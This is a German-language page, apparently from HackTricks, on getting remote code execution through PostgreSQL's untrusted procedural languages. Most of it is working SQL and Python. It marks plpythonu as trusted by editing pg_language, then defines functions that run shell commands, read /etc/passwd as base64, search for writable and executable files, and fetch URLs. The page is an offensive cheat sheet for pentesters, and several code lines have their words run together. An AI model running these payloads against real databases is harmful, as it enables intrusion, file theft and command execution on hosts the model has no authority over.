Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks als PDF herunterladen? Überprüfen Sie die ABONNEMENTPLÄNE!
Die PostgreSQL-Datenbank, auf die Sie Zugriff haben, kann verschiedene Skriptsprachen installiert haben, die Sie missbrauchen könnten, um beliebigen Code auszuführen.
Sie können sie ausführen:
\dL *SELECT lanname,lanpltrusted,lanacl FROM pg_language;
Die meisten Skriptsprachen, die Sie in PostgreSQL installieren können, haben 2 Varianten: die vertrauenswürdige und die unvertrauenswürdige. Die unvertrauenswürdige Variante hat einen Namen, der mit "u" endet, und ist die Version, mit der Sie Code ausführen und andere interessante Funktionen nutzen können. Hier sind einige Sprachen, die interessant sein könnten, wenn sie installiert sind:
plpythonu
plpython3u
plperlu
pljavaU
plrubyu
... (jede andere Programmiersprache, die eine unsichere Version verwendet)
Wenn Sie feststellen, dass eine interessante Sprache installiert ist, aber von PostgreSQL als unvertrauenswürdig eingestuft wird (lanpltrusted ist false), können Sie versuchen, sie mit der folgenden Zeile zu vertrauen, damit von PostgreSQL keine Einschränkungen mehr gelten:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';# Tocheck your permissions over the table pg_languageSELECT*FROM information_schema.table_privileges WHERE table_name ='pg_language';
Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie zu laden (Sie müssen Superadmin sein):
Um Remote Code Execution (RCE) mit plpythonu/plpython3u in PostgreSQL zu erreichen, müssen Sie die folgenden Schritte ausführen:
Überprüfen Sie, ob die Sprachen plpythonu oder plpython3u installiert sind, indem Sie den Befehl SELECT * FROM pg_language; ausführen.
Wenn die Sprachen installiert sind, erstellen Sie eine Funktion mit dem gewünschten Code. Zum Beispiel:
CREATE OR REPLACEFUNCTIONrce() RETURNS VOID AS $$import osos.system('id > /tmp/rce')$$ LANGUAGE plpythonu;
Führen Sie die Funktion aus, indem Sie den Befehl SELECT rce(); ausführen.
Überprüfen Sie, ob der Code ausgeführt wurde, indem Sie den Inhalt der Datei /tmp/rce überprüfen.
Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie hier ein Beispiel. Es lohnt sich also immer zu versuchen, Code auszuführen, auch wenn nur die vertrauenswürdige Version installiert ist.
CREATE OR REPLACEFUNCTIONexec (cmd text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.popen(cmd).read()#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})$$LANGUAGE'plpythonu';SELECT cmd("ls"); #RCE with popen or execve
CREATE OR REPLACEFUNCTIONget_user (pkg text)RETURNSVARCHAR(65535) stableAS $$import osreturn os.getlogin()$$LANGUAGE'plpythonu';SELECT get_user(""); #Get user, para is useless
CREATE OR REPLACEFUNCTIONlsdir (dir text)RETURNSVARCHAR(65535) stableAS $$import jsonfrom os import walkfiles =next(walk(dir), (None, None, []))return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]$$LANGUAGE'plpythonu';SELECT lsdir("/"); #List dir
CREATE OR REPLACEFUNCTIONfindw (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):writables = []def find_writable(path):ifnot os.path.isdir(path):returnif os.access(path, os.W_OK):writables.append(path)ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_writable(os.path.join(path, item))find_writable(path)return writablesreturn", ".join(my_find(dir))$$LANGUAGE'plpythonu';SELECT findw("/"); #Find Writable folders from a folder (recursively)
CREATE OR REPLACEFUNCTIONfind_file (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in os.path.basename(i):b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_file("psql"); #Find a file
CREATE OR REPLACEFUNCTIONfindx (dir text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find(dir)b = []for i in a:b.append(os.path.basename(i))return", ".join(b)$$LANGUAGE'plpythonu';SELECT findx("/"); #Find an executables in folder (recursively)
Finde exec durch Substitutionen
CREATE OR REPLACEFUNCTIONfind_exe (exe_sea text)RETURNSVARCHAR(65535) stableAS $$import osdef my_find(path):executables = []def find_executables(path):ifnot os.path.isdir(path) and os.access(path, os.X_OK):executables.append(path)if os.path.isdir(path):ifnot os.listdir(path):returnelse:for item in os.listdir(path):find_executables(os.path.join(path, item))find_executables(path)return executablesa = my_find("/")b = []for i in a:if exe_sea in i:b.append(i)return", ".join(b)$$LANGUAGE'plpythonu';SELECT find_exe("psql"); #Find executableby susbstring
CREATE OR REPLACEFUNCTIONread (pathtext)RETURNSVARCHAR(65535) stableAS $$import base64encoded_string= base64.b64encode(open(path).read())return encoded_string.decode('utf-8')returnopen(path).read()$$LANGUAGE'plpythonu';selectread('/etc/passwd'); #Read a filein b64
CREATE OR REPLACEFUNCTIONget_perms (pathtext)RETURNSVARCHAR(65535) stableAS $$import osstatus= os.stat(path)perms = oct(status.st_mode)[-3:]returnstr(perms)$$LANGUAGE'plpythonu';select get_perms("/etc/passwd"); # Get perms of file
CREATE OR REPLACEFUNCTIONreq2 (urltext)RETURNSVARCHAR(65535) stableAS $$import urllibr = urllib.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req2('https://google.com'); #Request using python2CREATE OR REPLACEFUNCTIONreq3 (urltext)RETURNSVARCHAR(65535) stableAS $$from urllib import requestr = request.urlopen(url)return r.read()$$LANGUAGE'plpythonu';SELECT req3('https://google.com'); #Request using python3
Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version des PEASS oder HackTricks als PDF-Download haben? Überprüfen Sie die ABONNEMENTPLÄNE!